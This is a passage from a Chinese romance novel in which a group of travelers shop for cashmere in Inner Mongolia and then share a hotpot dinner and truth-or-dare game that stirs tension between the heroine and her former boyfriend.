朝戈用蒙语和她说了些什么,老奶奶笑得更欢,眼睛月牙似地和她们打招呼。
“她叫乌云。”朝戈拧头向一行人道,“她这里有锡林郭勒盟最好的羊毛和羊绒。”
他说完,视线掠过虞蓝单薄的肩膀,扭头找个地方轻车熟路地坐下,等着她们挑。
“还内蒙最好的羊绒...”
辛可撇开嘴小声学朝戈说话,却在伸手摸羊绒围巾的时候愣住。
“他没骗人。”虞蓝率先说出她的心声。“这比你那件Maxmara大衣用料好。”
辛可哑口无言,伸脖子去翻价签:“价格呢?”
肯定是贵很多,不然怎么可能专门给她们拉到这。
她那件Maxmara的大衣要一万七,这别要她们双倍。
虞蓝在她的左翻右翻中扶出那张价签,送到她眼前。
辛可瞬间惊愕到张嘴:“只要三位数?”
搞慈善呢?
她们身后,乌云许是看到她们在翻价签,用笨拙但是质朴的汉语,笑道:“你们是朝戈重要的人,所以还可以再便宜点。”
重要的人。
辛可沉浸在性价比冲击里,没细听这句。
虞蓝在听到这几个字的时候,浅浅皱了下眉,但是旋即觉得是乌云奶奶汉语不熟练,含糊表达习惯了。
只点点头,道了句谢,挑了两件驼色羊绒衫:“我能试试吗?”
“当然。”
乌云亲自去给她拉试衣间的帘。小店不大,试衣间就是柜台旁边一个凹陷进去的小门,用围布挂着,视觉上隔出距离。
朝戈背对着试衣间坐着,但是几乎能听到里面的窸窣换衣服声。
羊绒软,一般都是打底,贴身穿。
细而轻的翻动衣服摩擦声,就这么闯入狭窄的耳道,轻得像根羽毛或者细线,酥酥麻麻的在血管里面来回钻。
乌云的小店开了几十年,木质地板干净老旧,老式的风扇在头顶咿呀咿呀地一圈一圈转。
朝戈喉结滚了滚,忽然觉得这地方狭窄粘稠。被迫解开两颗衬衫纽扣透气,转而低头去摸口袋里冰凉的打火机。
视线垂下的瞬间,却正好瞥到换衣间的布帘底端。
帘子并未垂到地上,而是余下一截空隙,摇摇晃晃。
虞蓝踩着试衣间的凉拖鞋,脚踝白皙如玉。
朝戈呼吸瞬息被什么掐住。
再回过头来时候,脸色冰冷,但声音已经有点哑了:“有水吗?”
“有。”
乌云从暖壶里倒出一大杯温水,搪瓷杯递过去的瞬间,门帘恰好拉开,虞蓝从里面出来,驼色羊绒衫妥帖裹住肩颈线条,笔直修长的一双腿含蓄地裹在铅笔裤里。
她将原本看银样时图方便扎起的盘发散开了,发尾卷曲的弧度恰好垂在胸线之上——那里有颗极小的琥珀色纽扣,正随着呼吸起伏闪烁微光。
"是不是太修身?"毕竟在草原玩,活动不是很方便。
她低头扯了扯腰侧,这个动作让白色铅笔裤绷出流畅的大腿肌理。
“正好,这样正好!”乌云奶奶直拍手,赞叹因为语言差异堵在喉咙,便都从眼神里涌出来。
做衣服的人,没什么比有人把自己的衣服穿得好看更兴奋的了。
乌云奶奶摆着手让朝戈帮忙翻译:
“你帮我跟她说,女人就是得露些曲线才好看。别人想露还没有呢——这孩子身材可真好,该瘦的地方瘦,该有肉的地方有肉,这是福气。”
她说完,就眼神期期地等着朝戈翻译过去。
男人攥着水杯的指节发白,眸子扫了眼同样等着翻译的虞蓝,脸色难看得厉害:“她问你这件要不要?”
“这么短?”辛可都听出端倪,凑过来。
这边,乌云奶奶还没说尽兴,扫见屋子角落,胡杨眼睛一眨不眨地看向虞蓝,笑着向朝戈:
“你看看,那个小伙子眼睛都看直了。这么漂亮的姑娘,不知道哪家的小伙子有福气。”
见奶奶竖起大拇指,虞蓝和辛可都看向朝戈。
后者脸色立刻见灰:“她说不要就算了。”
辛可犹疑地往后看:“我怎么感觉奶奶刚指了胡杨那个方向呢?”
“再说了,奶奶的表情也不像啊——”
“挑完了吗?”朝戈漠然截断话头:"天黑了。"
“那就这个好了。”虞蓝指节倾斜,递出一张银行卡。
乌云低头,看到银行卡姓名的刹那,瞬间怔住,用蒙语和朝戈说了句什么。
后者回了简短的一句话。
没人听得懂这段加密通话。
只看见乌云最后笑得欣慰。草原上的人好像总是这样,风沙只吹皱他们的眼角,在颊上却填补出圆满幸福的两团红。
电话响,朝戈拨开门帘出去接。
屋里,乌云笑津津地冲她摆手:“不收,不收。”
虞蓝拧眉:“买东西怎么能不收钱呢?”
肯定是朝戈在中间说了什么,她作势松开装衣服的袋子:“不让付钱那我不要了。”
乌云一
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见她这么执拗,急了,干枯的手指指着窗外踱步讲电话的男人,用蹩脚的普通话:
“他付过了。”
虞蓝这回袋子彻底放实了:“那更不能行。”
“我们一些来玩的游客,自己买衣服,怎么能让民宿老板破费。”她还特意强烈掉了游客和老板的关系。想拉开点距离。
乌云急忙摆手:“不是这个意思。”
“之前也是这样的,来内蒙玩的人,总想带点当地特色回家;我和他啊,有合作,他照顾我生意,凡是住在他家的旅客,都能过来领个纪念品。”
“拿羊绒衫做纪念品!”辛可惊愕掉下巴,“朝老板还真是财大气粗。”
虞蓝低眸展展手里的布料,视线顺着窗向外追寻。男人站在草原空旷的晚风里,手机按在耳廓,后颈未刮净的胡茬泛着青,像民宿后山那些覆着薄霜的冷杉。
浑然不觉屋里发生了什么。
倒是她自作多情了。
石头见状,跻上前:“白送啊,有没有男式的。”
胡杨也紧随其后。
“奇了怪了。”他们这一起哄,辛可才琢磨出来哪里不对劲,抬头看这小小的一方手艺铺里头,挂着的都是打底羊绒衫和羊绒长裙。
专做女士的生意。
照乌云这么说,朝戈得送过多少女人“纪念品”啊。
“哎你说我要不要挑一件啊,这不要白不要的。”
辛可说完,撞下虞蓝肩膀,向这满墙的羊绒揶揄地扬了扬下巴,一切尽在不言中。
虞蓝抬头瞧瞧,没说话。
心像滚过了一道石子路,硌得厉害。
...
朝戈绕前绕后地接完业务电话回来,屋里人已经只剩下乌云一个人。
视线连带着心一空,眉尖攒起,问乌云:“他们人呢?”
“走了。”
“衣服都拿了是吧。”
“拿了,但留了这个给我...”乌云说得犹豫。
朝戈视线下移,这才看见乌云手里不知所措地攥着一枚胸针。
乍一看像带钻的外套纽扣,麻花辫银的,精巧得不得了。
朝戈认得,今上午在银铺收的,花的钱远超这几件衣服。
现下出现在这,意味明了,还是一分都不想欠他的。
明明是一隅亮银色,却莫名把朝戈的脸色惹灰了几分。
乌云视线里,朝戈匆匆同她点头,声线冰凉似秋水:
“给你了你就拿着。”转身便走了。
...
乌云的小店支着一盏豆大橙灯,目送着几个身影融入草原夜色。
尤其是那一高一窈窕的两个身影,眸色渐软。
她是在当年带孙女从x京看病回内蒙火车上认识的朝戈。
正赶上春运,她没买着座位,带着小孙女攥着编织袋蜷在过道。
孙女才五岁,没板凳高,被冻得直打喷嚏,脸色通红,小脑袋困得要瞌睡到地上,忽然被人扶住。一道声音奔着她来:“带她去那里睡。”
拥挤的春运硬座车厢,他腾出个位置给她们祖孙俩。
年轻人鸭舌帽檐压得很低,阴影里只露出截笔挺的鼻梁。说完就退到过道继续站着,背脊始终绷着道看不见的钢索。
他们再没有过对话。直到中间她和小孙女都困倦睡着,猛然惊醒,发现小孩身上披着的是朝戈的外套。
......
她从一进店就看出来了,朝戈这孩子格外留意那个年轻漂亮姑娘。
姑娘人也好,拿出胸针的时候,她不要,还硬塞到她手心里。
比草原月亮还亮的眼,就盯着她,说漂亮的纽扣就该属于会做漂亮衣服的人,是它最好的归属。
可惜啊——乌云叹了口气,转身,把小店的灯关掉,草原夜色静悄悄,唯一的那点月光,恰巧映亮了一前一后的脚步。
夜色黑沉,男人生怕草里突然蹿出来野兔还是獐子惊着她,于是步步小心,却始终隔了不远不近的距离。
正是乌云心里的那句:
这么好的两个孩子。
怎么就眼也不瞧对方。
12. 第12章
今晚住的地方是朝戈安排的别墅。
按照原计划的行程,今天本来是要跨城去看火山。两天的行程,中间不折返回民宿,在路程中间地休息。
虽然被工作的事情耽误了,但好在解决得顺利。
虞蓝答应大家晚上聚餐喝点。
偌大的别墅,上面两间下面三间,只有他们几个人。
煮起火锅来,热气腾腾。
他们几个热热闹闹,不带朝戈好像不好。但又都嗅到虞蓝和朝戈之间气氛的微妙。
于是都默契地当咸鱼,谁也不提。
好在朝戈先把他们送回来,开着车去加油了不在家。这才能暂时逃避尴尬。
“这是什么地方,点得到火锅,点不到酒?”石头哀嚎。
“那怎么办?我火锅都开锅了。”辛可搅着筷子,眼前红汤滚滚,隐隐有冒泡势头。
四个人在已经掰开一次性筷子准备吃饭,这会没酒,面面相觑。
虞蓝刚要哄大家说算了,少喝一顿明天补上,忽然身后一声关门声。
男人从外面开门进来,肩上还担着些潮湿小雨。迎着众人的注视,眯眼打量了下咕噜咕噜的火锅和空空如也的杯子。
“没酒?”
石头刚点头,就见男人从身后拎出一个大袋子,瓶瓶罐罐的,哐当一声放到地上。
“往里拿。”
“好嘞。”他话音一落,石头自动像领了任务的狗腿子上前帮忙。
辛可都没来得及拦,转眼,男人已经换好拖鞋站到桌前,长眸低垂,向着桌上虞蓝的方向:
“介意我一起吗?”
“给朝老板拿双筷子。”虞蓝声线如常,答得甚至有些礼貌。
让人陪前垫后的忙了一天,没有吃饭不带他的道理。
朝戈垂眸看了她一眼,落座。
窗外下起淅淅沥沥的小雨,屋内漾着暖光,火锅热气腾腾,大家都饿了一天。
莫名生出些暖融融的和谐气氛。
石头喝了口朝戈带来的马奶酒,立刻拍大腿:“这么好喝,老板哥,你有这好东西怎么不早拿出来?”
“真的假的?”辛可半信半疑,抿了一口进嘴,前调像酸奶酪,后调微甜甜,有点养乐多的感觉。
“蓝姐,你也尝尝。”石头起身给虞蓝倒酒。
倒了一半,杯口蓦然被一只清瘦的手掌覆住。
“别倒那么多,她前天刚开了一天的车。”胡杨道。
说完,又把自己的杯子向前推。“我替她喝。”
“你能管你自己就不错了,还顾着蓝姐呢。”石头骂他,丢给他一个眼神,让他收敛一点。
喜欢谁是自由,但蓝姐可是上司,这层窗户纸要是真破了,胡杨离被解雇开除也不远了。
虞蓝不是那种能忍受男下属惦记自己的人。
好在虞蓝玩着手机,都没认真听,以为石头训斥胡杨,搅浑水道:“你们几个就知道张嘴说,哪个有胡杨懂事的。”
这几个下属,虞蓝对胡杨多些怜惜。
孩子刚大学毕业来她公司面试,一身洗得发白的牛仔衬衫,拖着行李箱,是他全部家当。
又是内敛、不会表达的性格。虞蓝评价他,像野草,聪明,脑子活络,积蓄着生命力,只要抓到机会就能拼命生长。
让她莫名想起来记忆里的某个人。
但是又不愿意承认这种相似带来的偏爱。
于是总是说服大脑,对懂事的弟弟多些照顾,应该的。
虞蓝拍拍胡杨肩膀:“你让石头倒,我也想尝尝。”
胡杨这才撒开手。
朝戈眯眼看了全程,没吭声。
吃火锅自带热闹。绯红肉片在辣汤里面舒展,蘸了瓷碟里的酱料,最后在每个人的鼻尖沁出细汗。
虞蓝品了口酒味:“像奶油利口酒。”
胡杨:“比那个度数再高点,像那个开菲尔预调。”
“Costco卖的那个?”
“对,巨贵,一瓶四十刀,货架上边带锁的那排。”
“四十刀?!”石头惊愕叫出声,“我中餐厅刷盘子的时薪也才7刀,打工一天够喝一瓶。”
“我超市打工12刀一小时呢,你怎么那么低?”胡杨瞥他。
“中超嘛,华人最黑,招聘广告上写着十几刀,但是扣完这个那个到手也就7...”
“确实,华人是真黑。我之前住那公寓,退房时候墙上有道笔痕,都要扣你押金。什么笔印值得1500刀,金的吗?但是这东西,魔高一尺道高一丈——别说笔道了,我之前墙漏了道裂,网上学了两个教程,锵子两下就给补上了,天衣无缝,连那么刁蛮的中介都没看出来。”
吐槽学生时代,大家一时间都很有表达欲。
表面上一群人顶着名校title,光鲜亮丽。实际上家里都是普通工薪阶级,把孩子托举到国外读书已经膝盖酸软,用尽了全身力气。
聪明伶俐的孩子个个都被寄予厚望,幻想着他们能在华尔街大杀四方,在美利坚如鱼得水。
实际上他们除了应对难得要死的ddl还要解决下一周的房租,异国他乡,眼泪都来不及擦就要为了生活马不停蹄,唯一值得安慰的是被本地人歧视骂黄皮猴子滚出美国时候会因为英语水平不到家,听个一知半解,衬得对面更像疯子。
大家凑在一起七嘴八舌的吐槽完,酒杯乒乒乓乓碰到一起,最后落了句感慨:“谁学生时代不是苦过来的?”
“蓝姐可能不是。”胡杨看了眼默声不语的虞蓝,试探道。
他岁数小,见到虞蓝时候她已经在白人公司有了自己的一席之地,职场有隐形dresscode,虞蓝整天小套装矮高跟,连眼线都没见晕过,从未露过窘迫。
他听说虞蓝是x京大毕业,又到美国深造。每一个背景,都光鲜得晃眼。
他很想借着机会听她讲讲学生时代。
众人注目,虞蓝喝了口酒,笑了:“我怎么不是。”
“不过我比较聪明,知道谁的钱好赚,性价比高。”
众人的视线凝到她脸上,她慢慢悠悠:“来LA上学有不少混个文凭的,一到假期就天南海北的跑,去坎昆的,去阿拉斯加的,来回路程要小半个月,我就拿了钥匙给他们喂猫。跑一家有十几刀,一天跑个三五家,一周伙食费就有了。”
“当年在LA,经我手的猫无数,人送外号王牌铲屎官。”
她说得云淡风轻,辛可满脸心疼:“你这会讲的倒是轻巧,那些非得说屋里奢侈品丢了扬言要报警抓你的傻逼雇主呢?还有咬人的猫呢?怎么不讲?”
虞蓝避开前一个话题,挑了个最轻巧的讲:“干什么不都得有点风险?而且一般找上门喂养的,都好说话,毕竟心肝宝贝都在我手里;”
“但是猫的性格就不好控制了,有的猫让主人惯的,胆子小到你一开门它就竖毛,最严重的那次——”
虞蓝挽起手腕,露出一条狰狞的粉痕。
看那痕迹,往上延伸,差一点就从胳膊内侧跳到脸侧,看得人心惊胆战。
“给我咬得差点毁容进医院。”
虞蓝说得淡淡的。
石头焦急:“后来呢?赔钱了吗?”
“没有。”虞蓝把袖子挽回去,捋平,“那是一对留学的小情侣,出国早,也没什么担当,养个宠物纯图它陪着玩,真出了事就吓破了胆,不仅退房换了公寓地址,连小猫都不要了。”
“最后还是我给收养了....很可爱一只金吉拉,先天的心肌肥厚,去年走了,我给她立了个带蝴蝶结的可爱小墓碑。”
说得再轻松,也掩盖不住伤心,虞蓝捞起杯子喝酒遮蔽眼睑。
众人多围着她安慰,小猫没了可能都活不过当时被遗弃,已经很幸运啦。小猫跟了你肯定享福,想都不用想之类的话。
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辛可心疼之余,眼梢不自觉去瞟朝戈的反应。
一种很奇怪的心理。明知道两人分开了,也总觉得合该有些不同。毕竟当年,虞蓝只是生理期痛经,男人都紧张得跟什么似的。
终究是会有不一样的。
但眼梢瞟过去,事实是,男人面无表情地听了全程,除了虞蓝挽起袖子时候深看了两眼之外,不发一言。
甚至拎起酒杯,悠悠闲闲喝了一口。
别说虞蓝,辛可都莫名觉着心口一滞。扭过头去拽着虞蓝扯东扯西,转移她注意力。千万别像她一样傻了吧唧去好奇她这位前任的反应。
好在虞蓝似有所感,视线并未向那侧倾斜。
倒是石头留意到桌角始终没讲话的朝戈,以为他时和桌上人不熟,难以融入,直接Q他:“哥呢,你的学生时代有没有什么好讲的?”
男人对更有男子气概的男人总是有种奇怪崇拜,石头的眼底亮晶晶,朝戈对上他视线,脸色动也没动:“没有。”
“我靠哥,就你这张脸,没点轰轰烈烈的恋爱故事都没说服力。就没有哪个女生喜欢你,追你的事?”石头满脸不信。
辛可脑子嗡一下,怎么哪壶不开提哪壶,忙往虞蓝那瞥。
后者悠悠闲闲给自己倒水,没事人一样。
“有啊。”
屋子里,朝戈响起的嗓音冰凉似水。
黑压压的眉眼有点戏谑,向某处落去。
虞蓝没抬眼,纤细手指给自己倒水。笨得像看不见锁紧的瓶口,倒了半天,一滴也没落下来。
眼看再被她这么晃下去瓶盖和滚烫茶水就要一并脱落,朝戈眯眼。
她身旁,这一幕也撞进了别人眼里,胡杨惊叹一声站起接过玻璃壶,左手把壶盖按紧,利落地倒下一杯茶水,扭头看见虞蓝那张不明所以有点懵的脸,一句责备的话也说不出来。
朝戈目睹了全程。女人后知后觉反应过来,许是被自己笨笑了,说了句什么,桌上喧闹,他们说的他一句都听不清。
只看见清秀温和的男生顺势探过身子,耳朵凑到虞蓝脸边,两人密语了几句,分开时候男生连带着脖颈都红了。
火锅热雾蒸腾,闷得人烦躁。
这边,石头还兴致勃勃地想听故事,坐近了怂恿朝戈:“哥,讲讲?”
朝戈久未应声,石头疑惑抬眼,蓦然对上男人黑炭般的脸色。
没等想明白是哪出的问题,男人的视线猛地转回来,直撞到石头怔愣的脸上,回答他的问题:“太多了。”
“记不清了。”
撂下这一句,便缄口不言,抱臂后倚,脸色漠视又冷硬。
无论大家怎么起哄都再也不说了。
他在那装尼玛呢?
辛可看他这副态度气不打一处来,打断拼命鼓动他讲的石头,语气恶劣:“人家不想说就不说,你催什么催,显着你了。”
石头莫名被骂了一通,挠挠后脑勺,有点不解。
身侧,那道高大的身影从座位上站起来,石头视线顺着男人衣角攀上去:“哥,干什么去?”
男人垂眸,两颗深邃的眸子像敛着的,黑曜石,声线冷冷,“洗手间。”
朝戈走了,大家的聊天继续,桌上闹哄哄一片,给了胡杨一点隐身于人群的安全感。
他慢慢松开攥紧的手掌,回想起刚才。
他凑到虞蓝耳边听她说话时候,比言语先过来的是她的香气。
迷迷绕绕,像是氤氲迷雾的深林,一个不慎就会在其中迷失。
他得驱动自己强定下心神,才能听清她讲的话。
她笑着:“知道的以为你是弟弟,不知道的以为你是妈妈。”
胡杨心下蓦然一空,失落感不可抑制地上浮。
哪怕他没怎么谈过恋爱,也知道这种刻意将对方像一个无性缘对象的位置上形容,对于一个爱慕她的男人来说,不算是多好的事。
13. 第13章
朝戈回来的时候,桌上正吵吵嚷嚷地玩真心话大冒险。
见他回来,石头指着桌中的停着的汤匙给他讲情况:“转到胡杨了,正让这小子描述他暗恋对象呢。”
朝戈坐下,携过来一点清新皂香,还有点冷冽。
石头嗅了下,问他是不是喝得有点多,去洗脸清醒了。
朝戈颔首,默声不语。
桌上,胡杨憋得满脸通红,因为不敢触及到桌上的某位,眼神在空中乱飘,话也说得胡乱:“我现在换真心话还来得及吗?”
石头和辛可交换了个眼神,后者揽住他肩膀,隐晦地给他指了条明路:“这有什么的,随便说嘛。”
“反正你描述的是真是假,谁也不知道,是吧。”
胡杨听不出让她瞎说的弦外之音,反而更紧张,主动去捞杯子:“我喝双倍。”
喝快酒的劲头掩饰过的男生发红的脖子。
明眼人都知道怎么回事。
纷纷闲扯了两句“你小子”“捂这么严实”就把这事盖了过去。
朝戈盯着一桌子上,一个脖子通红狠命灌酒的男人,一对心思诡异一通打掩护的男女。
和置身事外的虞蓝。
冷冷扯唇,仰头喝酒。
他喝酒这个空茬,辛可已经又转了一次,勺子兜兜转转,最后颤颤巍巍地指向他。
“是老板哥!”石头拍手。激动到手肘咣当一声撞倒酒杯,淋淋漓漓洒了一桌。
辛可有意坑他,装模作样地摇了个电子签宣布题目:“你有别人甩过吗?”
话音刚落,桌下就被虞蓝踢了一脚。
辛可不在惧的,笑笑装作毫无感觉。
谁也不是好惹的,他的现任都快跑到她和蓝蓝头上拉屎了,还不让她撕一撕人的伤疤吗?
倒是被嘲讽的当事人没什么反应,黑眸低敛,抽了两张纸巾去擦拭被石头弄洒酒的桌面,寡淡开口:"我还没说我选什么呢?"
辛可:“你选什么?”
“大冒险。”
辛可咬牙:“行。”
辛可哗哗重摇了根电子签,循着屏幕字字研读:“给你的前任发消息说想她了。”
“......”
一时间,现场气氛有些静谧。
指向性太明显,虞蓝又踢了她一脚。
辛可摊开屏幕,无辜:“这真是随机蹦出来的,可不能怪我。”
“不太好吧。”石头面露难色,他刚来时候就听辛可讲老板哥是有女朋友的。
“哎呀,游戏嘛,别当真。”辛可倒是洒脱,继续鼓动。
虞蓝面无表情地抿了口马奶酒,凉凉开口:“差不多得了。”
胡杨附和:“是啊,老板不像咱们之间这么熟,算了吧。”
被一众反对,辛可窥了下虞蓝冷淡的脸色,又瞟了一眼一言不发的朝戈,决定放他一马:“那,你不想发就算了,罚两杯酒得了。”
“谁说我不想?”原本无动于衷的朝戈冷不丁地出声,神态轻松,甚至扯开唇笑了笑。
骨节分明的长指在九宫格上敲了几下,屏幕亮出来:可以了吗?”
隔得远,辛可看见明晃晃的一条绿框框。
听出是让她验收的意思,潦草点了个头。视线倾向虞蓝明放在桌上漆黑的手机屏幕,心里难掩怨怼,怎么和她料想地完全不一样。
石头不明所以。
还兴致勃勃地凑到朝戈旁边,声音不大不小地八卦:
“哥,前任是工作之后认识的?”
“不是。”
“那是大学谈的?”
朝戈侧眸看他,喉结微顿:“嗯。”
这回换成了辛可怔愣。
当年朝戈和虞蓝分手之后,虞蓝火速出国,最开始那一年,连她都联系不上;
闺蜜都找不见,更别说去顾及闺蜜的什么前男友。
更不知道他后来那几年在学校里日子过得如何,有没有发展新的恋情。
现在来看,人总是步履不停的向前的,没有人会因为另一个人停留。
也是。大学时候人才几岁啊,二十出头,心性都没定呢,外人看上去刻骨铭心的爱情过了那个时间段,哪怕是本人来看,不过也就是一段恋爱经历而已。
只是想给马一个下马威反而被马蹬了一脚,还是有点憋闷。
直到虞蓝敲敲桌面,提醒:“还玩不玩了?”
辛可才反应过来,张罗:“下一轮下一轮。”
桌上瓷汤匙转动,虞蓝仰头喝酒,忽然感受到身旁落了道视线。
她侧头,对上胡杨的眼睛。后者蹙了蹙温和的眉宇:“少喝点。”
“嗯。”虞蓝:“我心里有数。”
她说完话,就拧头到另一侧。直觉告诉她,刚投过来的时间不只有胡杨一道,但是她实在没兴趣探究。
朝戈目光抓着她。
虞蓝莫名其妙地想起来,她何时任由别人管过她。
早几年,大学生都流行旁边小摊吃宵夜,他们寝室聚餐问她要不要一起,他本来怕她介意环境简陋,没想到她不仅带了她室友一起,而且大方吆喝老板要了几打啤酒。
和几个刚还不认识的人,喝了一杯又一杯。
他攥她手臂叫停时候,她眼尾凌厉的上挑,红唇恨不得衔起塑料杯一饮而尽,言语都模糊了,还要手指按在他嘴唇上:嘘——”
“开心的时候别说些扫兴的话。”
还挺霸气的。
虞蓝心底蓦地升起一阵自豪。
只是关于某人的记忆存在感太重,猛然地一想起,哪怕是个片段都生动得可怕。
指节压着。她记得男人嘴唇微微下陷,薄唇炙热滚烫。
不能再想了……
意识到她思绪脱轨失态,刚想急刹车扯回,就从另一侧的空气里听见一声冷笑。
视线偏移过去,发出冷笑的男人正仰头喝酒。鸭舌帽和酒杯挡住了他大部分脸色,露出硬挺眉骨的上缘,浸在阴影里,像起伏的山脉。下颌线凌厉干脆,薄薄皮肉紧贴骨相,酒液被一饮而尽。只剩高仰的蜜色脖颈上来回滚动的喉结,凸起,尖锐。
像锋利的刃尖,一下就把薄薄的、努力维持的体面挑破。
虞蓝心里突地一声,宛如弦重。
旋即又意识到没人会读心术,那么这声冷笑就到了要冒犯到她的程度。
刚想要发火。
这把游戏的勺子就悠悠转转,停在了她的面前。
辛可摇出来的屏幕字样摊在桌子中间,红底黑字,写着请回答:
“你上一次接吻,是什么时候?”
“......”
这什么题?
迎着四双注目过来的眼,虞蓝脑子片刻宕机。
这种问题,该怎么回答?
说真话,说上次接吻是大学校园的小树林或者楼梯间,绝对不行。
说假话,讲得时间近了,以辛可和石头的八卦,能掘地三尺把她身边的人都搜罗一遍。
索性扯了个不远不近的,轻描淡写:“半年前吧。”
话音一落,席上男人一阵诡异寂静。
胡杨像揣了
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块石灰岩在胸口,磨得他肉心钝痛,只能靠低头喝酒掩饰。
石头偷偷在桌底踢他一脚,让他别表现得太明显。
辛可脑子飞快的盘时间,琢磨到底是哪个男的。
朝戈坐在角落,晦暗的光影模糊了他的脸色,能被窥见的只有压得很平的唇角。
男人下颌线压得很紧。修长有力的手指攥着酒罐,凑到唇边,灌下一口。
辛可灵光一闪,抓住虞蓝的手,激动道:
“不会是咱们去巴厘岛团建那次,那个男的吧?”
虞蓝:“?”
石头:“哪个哪个?”
辛可:“你忘了咱上次巴厘岛团建,遇见一个来度假的混血ABC,看见蓝蓝浪都不冲了,夹个冲浪板就上来搭讪,那身材,啧啧。”
“他俩在沙滩上聊了好半天,还follow了ig呢。”辛可给出一条有力论据。
虞蓝想了半天,脑海里才勉强浮现出来那人的轮廓。
一口蹩脚的中文,跟她吹嘘了半天自己的欧洲永居身份。
讲他父母是早期移民,他从某藤校毕业,现在某全国知名金融巨鳄公司镀金,日后会回家光荣自己产业。
兴趣爱好是网球、健身、帆船和德扑,之前还参加过健美赛。
这次来巴厘岛,专门是为了享受假日阳光和海浪。
整个人充斥着都是消费主义的虚幻泡沫感。气质倍儿像杀猪盘。
中英文夹杂着激动万分地说完,眼睛雪亮得等着她赞叹。
没想到虞蓝双手抄胸,摘下墨镜扫他一眼,慢悠悠道:
“健身教练是吧。”
“扫这个码。”
一句话把人怼得没了音。
男人脸上吃瘪出了红绿青蓝紫,最后视线在她脸上顿了两秒,竟然还硬着头皮follow了她,也不知道怎么想的,没事就在insstory发些仅她可见的密友伤感语录。
好有病的男的。
辛可见虞蓝反应平平,划划下巴,视线刻意掠过朝戈:“那会是谁呢?”
“和你前任旧情复燃了?”
石头猛地一拍脑袋:“刚开始跟蓝姐的那段时间,齐哥没事就往公司送咖啡奶茶,说是体恤我们工作辛苦,实际上就是想趁机见蓝姐一眼。”
复合好啊,他不要太支持。
言外之音他没讲全,但是都写在脸上。
都哪和哪啊。
虞蓝显然对齐之禾送咖啡的事情毫无察觉,蹙眉:“什么时候的事?”
石头反应过来说漏嘴,支支吾吾:“呃...就...前一阵子展会。”
展会是两个月之前,虞蓝眉心拢着没松开。
她最讨厌生活里的人掺合进她的工作场合。石头知道自己失言。
好在女人先声站起。
辛可:“你干嘛去?”
那副架势,不从她嘴里刨出个人名根本不能罢休。
还得是小躲为上。
众人视线里,女人修长凝白的手指向下,从口袋摸出金属质感的打火机,示意道。
“问题我已经回答完了,再问就是下一轮了。”
“你们先玩,我去抽根烟。”
她的身影刚刚消失在门廊的阴影里。
又一把椅子便被不轻不重地推开。
高大俊朗的男人缓缓站起,视线如无形的线,紧系于虞蓝消失的方向。灯光在他轮廓分明的侧脸上投下深邃的影。
他看也没看桌上一重好奇的眼神,只留下三个低沉的、简略的字眼:“失陪下。”